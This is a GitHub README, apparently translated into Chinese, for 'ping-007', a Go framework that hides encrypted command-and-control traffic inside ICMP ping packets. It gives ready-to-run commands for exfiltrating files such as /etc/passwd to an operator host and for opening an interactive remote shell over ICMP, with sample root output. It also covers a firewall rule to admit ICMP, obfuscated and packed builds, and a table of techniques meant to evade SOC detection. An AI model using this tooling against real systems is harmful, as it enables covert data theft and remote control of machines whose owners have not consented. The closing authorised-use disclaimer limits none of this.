franckferman/ping-007

GitHub: franckferman/ping-007

一个基于 Go 的隐蔽 ICMP C2 框架,通过加密数据嵌入 ping 数据包实现渗透测试中的隐蔽通信与数据外泄。

Stars: 1 | Forks: 0

# PING-007 v3.0:隐蔽 ICMP C2 框架 PING-007 是一个用于隐蔽 ICMP 通信的 Go 框架,专为授权的渗透测试、红队行动和安全研究而设计。它将加密数据嵌入到看似合法的 ICMP ping 数据包中,并支持多数据包隐蔽重组和 APT 级别的时序规避。 [![Go 版本](https://img.shields.io/badge/go-1.25+-blue)]() [![加密](https://img.shields.io/badge/crypto-AES256%20%7C%20ChaCha20%20%7C%20XOR--CFB--HMAC-green)]() [![平台](https://img.shields.io/badge/platform-linux%20%7C%20macos%20%7C%20windows-lightgrey)]() ## 权限 ### 为什么需要 root Ping-007 会打开一个原始 ICMP socket,以便伪造传出数据包(自定义 OS 签名、XOR 隐写术)并捕获接口上的**所有**传入 ICMP 流量——而不仅仅是它自己 ping 的回复。内核将此限制在 `CAP_NET_RAW` 权限之后,因为原始 socket 可以嗅探流量并伪造任意源 IP。 像 `curl` 或 `nc` 这样的普通工具使用 TCP/UDP socket,由内核处理组帧——不需要提升权限。Ping-007 直接在 IP 层工作,这就是为什么存在此要求的原因。 ### Linux / macOS ``` # 标准方法 — 以 root 身份运行 sudo ./build/ping-007 listen -o ./loot -p "key" # 替代方法 — 为 binary 分配 capability(仅限开发/实验环境) sudo setcap cap_net_raw+ep ./build/ping-007 ./build/ping-007 listen -o ./loot -p "key" # no sudo needed ``` 这与现代 Linux 上 `ping` 本身的工作方式类似: ``` getcap /usr/bin/ping # /usr/bin/ping = cap_net_raw+ep ``` ### Windows ``` # 以 Administrator 身份运行 terminal,然后: .\build\ping-007.exe listen -o .\loot -p "key" ``` **Windows 注意事项(自 XP SP2 以来的原始 socket):** | 问题 | 详情 | |-------|--------| | **防火墙** | Windows Defender 默认阻止传入的 ICMP——必须禁用或添加规则才能让监听器接收数据包 | | **环回** | Windows 原始 socket 无法通过原始 socket 接收发送到 `127.0.0.1` 的数据包——环回测试不起作用 | | **发送限制** | 在管理员权限下允许原始 socket 发送,但源 IP 不能被欺骗(Windows 强制使用有效的本地 IP) | | **已测试** | ⚠ 已交叉编译,但**未在 Windows 上验证**——发送/接收可能存在边缘情况 | 要允许 ICMP 通过 Windows 防火墙进行测试: ``` # 允许入站 ICMP (ICMPv4) netsh advfirewall firewall add rule name="ICMP Allow" protocol=icmpv4:8,any dir=in action=allow ``` ## 安装 ``` git clone https://github.com/franckferman/ping-007 cd ping-007 make build # binary → build/ping-007 sudo make install # install to /usr/local/bin/ping-007 (optional) ``` 要求:Go 1.25+,sudo/root,支持 ICMP 的网络接口。 ## 命令概述 ``` ping-007 basic — send a message (inline data or file) ping-007 stealth — send with stealth mode forced on ping-007 exfil — exfiltrate a file in chunks ping-007 shell — interactive bidirectional C2 shell over ICMP ping-007 listen — receive/decrypt incoming data ping-007 apt — APT group timing simulation ping-007 analyze — passive network analysis ping-007 status — framework health check ``` ## 使用方法 ### 加密模式 | 情况 | 命令 | 结果 | |-----------|---------|--------| | **无 `-p` 标志** | `sudo ./ping-007 basic -t -d "msg"` | **警告:随机密钥**——接收方无法解密。不可互操作。 | | **共享密码** | `sudo ./ping-007 basic -t -d "msg" -p "secret"` | AES-256-GCM,通过 PBKDF2 派生密钥。拥有相同 `-p` 的接收方会自动解密。 | | **无加密** | `sudo ./ping-007 exfil -t -f file --no-encrypt` | ICMP 中的明文 payload。接收方获取原始字节。 | ### 1. 发送消息 (basic) ``` # 使用共享密码加密 sudo ./build/ping-007 basic -t 192.168.1.100 -p "mypassword" -d "operation alpha" # 接收它 sudo ./build/ping-007 listen -o ./received -p "mypassword" --timeout 30 ``` ### 2. 窃取文件 ``` # Sender sudo ./build/ping-007 exfil -t 192.168.1.100 -f /etc/passwd -p "mypassword" --mode fast # Receiver sudo ./build/ping-007 listen -o ./loot -p "mypassword" --timeout 120 ``` `--mode fast` 禁用 APT 时序延迟。`--mode stealth`(默认)为每个数据块添加延迟。`--mode covert` 使用交替模式。 ### 3. 双向 C2 shell 监听器执行传入的命令,并通过 ICMP 加密发回结果。 ``` # Terminal 1 — 目标机器(agent/listener) sudo ./build/ping-007 listen --method shell -o /tmp/c2 -p "c2pass" --timeout 3600 # Terminal 2 — 操作者(C2 client) sudo ./build/ping-007 shell -t -p "c2pass" # ping-007> id # uid=0(root) gid=0(root) ... # ping-007> whoami # root # ping-007> exit ``` shell 发送加密的 `CMD::` 数据包;监听器执行并回复加密的 `RESP:::::`。 ### 4. APT 时序模拟 ``` sudo ./build/ping-007 apt -t 192.168.1.100 -r lazarus --duration 300 -p "mypassword" ``` 可用配置文件:`lazarus`(5分钟–1小时延迟),`apt29`(30分钟–2小时),`apt28`(10–30分钟),`equation`(1–3天)。 ## Flag 参考 ### 全局 flag(所有命令) | Flag | 默认值 | 描述 | |------|---------|-------------| | `-p, --password` | — | 用于 AES-256-GCM + PBKDF2 密钥派生的共享密码 | | `-v, --verbose` | false | 详细日志记录 | | `--no-banner` | false | 隐藏启动横幅和 JSON 日志 | | `-c, --config` | — | 配置文件路径 | ### `basic` | Flag | 默认值 | 描述 | |------|---------|-------------| | `-t, --target` | **必填** | 目标 IP 地址 | | `-d, --data` | — | 要传输的内联数据 | | `--signature` | `linux` | 要模拟的 OS ping 签名(`linux`、`windows`、`none`) | | `--no-signature` | false | 原始 ICMP,无 OS 模式 | | `-s, --stealth` | false | 强制隐蔽模式(64 字节,合适的时序) | | `--delay` | 0 | 传输前延迟(例如 `2s`、`500ms`) | | `--human-timing` | false | 数据包之间随机 1–5 秒的间隔 | | `--ultra-stealth` | false | 最大程度规避(时序 + 大小 + 模式) | | `--decoy-pings` | 0 | 在数据前发送 N 个干净的 OS 模式 ping(混合) | | `--after-pings` | 0 | 在数据后发送 N 个干净的 ping 以自然结束会话 | | `--ping-interval` | `1s` | 序列中 ping 之间的间隔(模拟真实的 `ping`) | | `--no-encrypt` | false | 发送明文——无加密、无编码(ICMP 中的原始字节) | | `--encode` | false | 对 payload 进行 Base64 编码但不加密(熵低于 AES,无保密性) | | `-i, --interactive` | false | 交互式提示模式 | ### `exfil` | Flag | 默认值 | 描述 | |------|---------|-------------| | `-t, --target` | **必填** | 目标 IP 地址 | | `-f, --file` | **必填** | 要窃取的文件 | | `--method` | `icmp_tunnel` | 传输方法(`icmp_tunnel`、`icmp_payload`) | | `--mode` | `stealth` | 时序模式(`stealth`、`fast`、`covert`) | | `--chunk-size` | 512 | 以字节为单位的基础数据块大小(每个数据块应用 ±25% 的抖动) | | `--no-stealth` | false | 禁用隐蔽技术 | | `--no-encrypt` | false | 禁用加密(明文 payload) | | `--signature` | `linux` | 用于 TTL 模拟的 OS 签名(`linux`、`windows`、`none`) | ### `shell` | Flag | 默认值 | 描述 | |------|---------|-------------| | `-t, --target` | **必填** | 目标 IP 地址 | | `--mode` | `interactive` | `interactive`(ICMP C2)或 `batch`(仅本地执行) | | `--jitter` | 0 | 每个传出数据包前的最大随机延迟(例如 `3s`);0 = 禁用 | ### `listen` | Flag | 默认值 | 描述 | |------|---------|-------------| | `-o, --output` | `./received` | 接收文件的输出目录 | | `--interface` | `eth0` | 要监听的网络接口 | | `--method` | `icmp_tunnel` | 监听方法(`icmp_tunnel`、`shell`) | | `--timeout` | 60 | 超时时间(以秒为单位) | | `-q, --quiet` | false | 抑制每个数据包的输出(用于实际操作——详细的日志是 OpSec 风险) | ### `apt` | Flag | 默认值 | 描述 | |------|---------|-------------| | `-t, --target` | **必填** | 目标 IP 地址 | | `-r, --profile` | **必填** | APT 配置文件(`lazarus`、`apt29`、`apt28`、`equation`) | | `--duration` | 60 | 模拟持续时间(以秒为单位) | ### `analyze` | Flag | 默认值 | 描述 | |------|---------|-------------| | `--duration` | 60 | 分析持续时间(以秒为单位) | | `--passive` | false | 被动模式(无原始 socket,不需要 root) | ## OPSEC 架构 应用多层检测规避,使流量与合法的 ICMP 无法区分: | 层级 | 技术 | 避免的 SOC 检测 | |-------|-----------|----------------------| | **TTL** | `setsockopt(IP_TTL)`——根据 `--signature`,Linux=64,Windows=128 | 通过 TTL 进行 OS 指纹识别 | | **Payload 大小** | 隐蔽模式:始终为 64 字节(与 `ping -s 56` 相同) | 超大 ICMP payload 检测 | | **Payload 模式** | 将 XOR 隐写术注入真实的 OS ping 模式(timeval+sequential 或 alphabetic) | 与已知 ping 工具的模式不匹配 | | **序列号** | 每个会话通过 `crypto/rand` 随机起始(不总是 1) | “序列从 1 开始”的启发式检测 | | **ICMP 标识符** | 每个会话通过 `crypto/rand` 随机生成 16 位(非静态 PID) | 固定标识符 = 长时间运行进程检测 | | **分片** | 大型 payload 被拆分为 N×64 字节的 ping,并带有嵌入的分片 header | 超大单数据包检测 | | **时序** | 数据包之间 1 秒 ± 10% 抖动(真实的 ping 方差) | 固定间隔 Netflow 检测 | | **会话混合** | 数据前使用 `--decoy-pings` + 数据后使用 `--after-pings`(干净的 OS ping) | 孤立的“1 个带数据的 ICMP”事件 | | **数据块间隔** | 数据块之间间隔 5–30 秒(stealth)/ 30–120 秒(covert) | 突发传输速率检测 | | **Shell 抖动** | 每个命令数据包前使用 `--jitter ` 随机延迟 | 节奏规律的 C2 信标检测 | | **输出详细级别** | `listen --quiet` 抑制所有 stdout | 实时取证 / 进程监控 | ### SOC 仍然可以检测到的内容 - **高熵 payload**:AES-GCM 密文具有 ~8 比特/字节的熵。带 sequential 模式的 stealth XOR 会降低视觉上的明显程度,但保留了底层的熵。具有熵评估的 DPI 可以标记此项。 - **异常的 ping 计数**:真实用户通常不会发送 20 个以上连续的 ping。`--decoy-pings` / `--after-pings` flag 有助于将数据包包裹在干净的流量中,但会话长度分析仍然可能会标记长时间的连续运行。 - **相同的目标 IP**:对同一 C2 IP 的周期性 ping 在流量分析中很显眼。使用能够与该范围内现有的合法流量相融合的实际 C2 IP。 ## 加密细节 这三种算法均使用 **PBKDF2-SHA256(100,000 次迭代)** 和**每种算法对应的固定 salt**,以便从共享密码进行确定性的密钥派生。 | 算法 | 密钥 | 认证 | Salt | |-----------|-----|------|------| | AES-256-GCM | 256-bit | AEAD | `ping007-aes-salt-v1` | | ChaCha20-Poly1305 | 256-bit | AEAD | `ping007-chacha20-salt-v1` | | 自定义 XOR-CFB-HMAC | 256-bit | HMAC-SHA256 | `ping007-xor-salt-v1` | Wire 格式:`[4字节 header:算法+版本][12字节 nonce][密文][16字节 tag]` 监听器从 4 字节的 header 中自动检测算法。 ## OS 签名配置文件 | 配置文件 | Payload 大小 | 隐蔽容量 | 分片容量 | 模式 | TTL | |---------|-------------|-----------------|---------------|---------|-----| | `linux`(默认) | 64 字节 | 46 字节/数据包 | 42 字节/分片 | 顺序 `0x08,0x09,…` | 64 | | `windows` | 40 字节 | 22 字节/数据包 18 字节/分片 | 字母 `abcdefgh…` | 128 | | `none` / `--no-signature` | 可变 | N/A | N/A | 原始字节 | 内核默认值 | 对于超过单数据包隐蔽容量的消息/数据块,ping-007 会使用嵌入的 4 字节 header 自动将它们分片,跨越多个 64 字节的 ping (`[0xA7 magic][session][frag_id][total_frags]`)。接收方在解密前重新组装所有分片。 每个分片以 ~1 秒的间隔发送,以匹配真实的 `ping` 节奏。 **隐蔽容量计算(Linux):** - ICMP payload = 56 字节(Linux `ping -s 56`) - 8 字节 = timeval(struct timeval, LE) - 2 字节 = 长度前缀(异或(XOR)进 sequential 模式) - 单数据包隐藏数据有 **46 字节** 可用空间 - AES-256-GCM 开销 = 4(header) + 12(nonce) + 16(GCM tag) = 32 字节 - → 单数据包最大明文 = 14 字节;超过此大小,自动分片将启动 ## 构建变体 ``` make build # Standard build → build/ping-007 make build-stealth # Manual obfuscation (-trimpath -buildmode=pie) make build-ghost # Maximum stripping + obfuscation make build-compressed # UPX compression (requires upx) make build-armored # Stealth + UPX make build-minimal # No APT simulation module (-tags minimal) make build-all # All platforms (linux/darwin/windows, amd64/arm64) # build-no-c2: TODO — 实现 plan 见 Makefile:117 ``` ## Makefile 快捷方式 ``` make basic TARGET=192.168.1.100 PASSWORD='secret' make stealth TARGET=192.168.1.100 DATA='payload' PASSWORD='secret' make exfil TARGET=192.168.1.100 FILE=/etc/passwd PASSWORD='secret' make exfil TARGET=192.168.1.100 FILE=data.zip METHOD=icmp_tunnel MODE=fast PASSWORD='secret' make apt TARGET=192.168.1.100 PROFILE=lazarus DURATION=300 make shell TARGET=192.168.1.100 PASSWORD='c2pass' make listen OUTPUT=./loot TIMEOUT=300 PASSWORD='secret' make analyze DURATION=120 make ultra-stealth TARGET=192.168.1.100 PASSWORD='stealth-key' make ghost-mode TARGET=192.168.1.100 PASSWORD='ghost-key' make human-mimic TARGET=192.168.1.100 PASSWORD='test' make natural-test TARGET=192.168.1.100 COUNT=10 PASSWORD='test' make crypto-demo ``` ## 文档 | 文档 | 内容 | |----------|---------| | [网站 / 完整文档](docs/index.html) | 架构、wire 格式、加密细节、flag 参考 | | [TODO](TODO.md) | 路线图 | ## 仅限授权使用 此工具专为以下情况设计: - 授权的渗透测试项目 - 内部红队演练 - 在受批准范围内的安全研究 - 蓝队检测验证 - CTF 比赛 未经授权对你不拥有或没有明确书面测试许可的系统使用是非法的,并受到严格禁止。
标签:C2框架, EVTX分析, Go语言, ICMP协议, IP 地址批量处理, 安全学习资源, 日志审计, 程序破解, 隐蔽通信